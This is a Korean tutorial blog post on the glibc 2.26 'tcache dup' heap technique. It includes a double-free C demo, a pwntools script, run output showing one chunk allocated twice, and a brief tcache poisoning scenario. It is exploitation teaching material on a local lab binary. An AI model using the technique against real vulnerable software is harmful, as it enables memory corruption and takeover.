Tcache dup / glibc 2.26
tcache는 Double Free와 같은 버그의 검증이 존재하지 않아 fastbin 등과 같은 다른 bin에서의 공격의 난이도가 훨씬 낮다.
tcache dup은 Double Free 버그를 이용하여 tcache_entry 를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격기법이다.
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
fastbin dup 에서는 이전에 해제된 청크인 old 와 현재 해제될 청크인 p 가 같은지를 비교하는 검증코드가 존재했다. 근데, tcache 에서 사용하는 tcache_put와 tacache_get 함수에서는 old와 p를 검증하지 않기 때문에 한 개의 청크를 연속으로 해제할 수 있다.
다음은 0x20 크기의 힙을 할당하고 연속으로 두 번 해제한 후 할당된 청크의 주소를 출력하는 코드이다.
// gcc -o tcache_dup1 tcache_dup1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr = malloc(0x20);
free(ptr);
free(ptr);
fprintf(stderr, "malloc: %p\\n", malloc(0x20));
fprintf(stderr, "malloc: %p\\n", malloc(0x20));
return 0;
}
glibc 2.27이상 버전에선 다음과 같이 abort가 된다.
root@07d3540857dc:~/ctf/dh/HEAP_AEG# ./tcache_dup_1
free(): double free detected in tcache 2
Aborted
root@07d3540857dc:~/ctf/dh/HEAP_AEG# getconf -a | grep libc
GNU_LIBC_VERSION glibc 2.31
from pwn import *
context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
p = process("./tcache_dup_1", env={'LD_PRELOAD':'./libc6_2.26'})
e = ELF('./tcache_dup_1')
libc = ELF('./libc6_2.26')
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p.interactive()
root@3392453bb3df:/work/dh/HEAP_AEG# python3 ex.py
[+] Starting local process './tcache_dup_1' argv=[b'./tcache_dup_1'] env={b'LD_PRELOAD': b'./libc6_2.26'} : pid 99
[*] '/work/dh/HEAP_AEG/tcache_dup_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/work/dh/HEAP_AEG/libc6_2.26'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
[*] Process './tcache_dup_1' stopped with exit code 0 (pid 99)
[DEBUG] Received 0x24 bytes:
b'malloc: 0x1046260\\n'
b'malloc: 0x1046260\\n'
malloc: 0x1046260
malloc: 0x1046260
[*] Got EOF while reading in interactive
$
위와 같이 tcache dup이 되어 같은 영역에 두번 할당되는 것을 알 수 있다.
Tcache dup & poisoning
tcache가 도입된 2.26버전에서는 tcache bin의 double free 에 대한 보안 검증 뿐만 아니라, 할당하려는 영역의 size를 비교하는 검증 또한 없기 떄문에 fastbin dup과 달리 Fake Chunk를 구성할 필요가 없다.
익스플로잇 시나리오
- 힙을 할당한다.
- Double Free 검증이 존재하기 않기 때문에 같은 힙 청크의 데이터 영역을 가르키는 포인터를 두번 해제 한다.
- 다시 힙을 할당하고, 데이터를 쓸 때 공격을 원하는 곳의 주소를 입력하고, 두번째 힙을 할당한다.
'Pwnable > Tech' 카테고리의 다른 글
FSOP - glibc 2.35 에서 FSOP 하는 법(feat. House of apple ) (0) | 2023.02.25 |
---|---|
.init_array && .fini_array (378) | 2023.02.20 |
_IO_FILE AAR (2) | 2023.02.18 |
no longer existing hook (0) | 2023.02.18 |
Stack pivoting (2) | 2023.02.18 |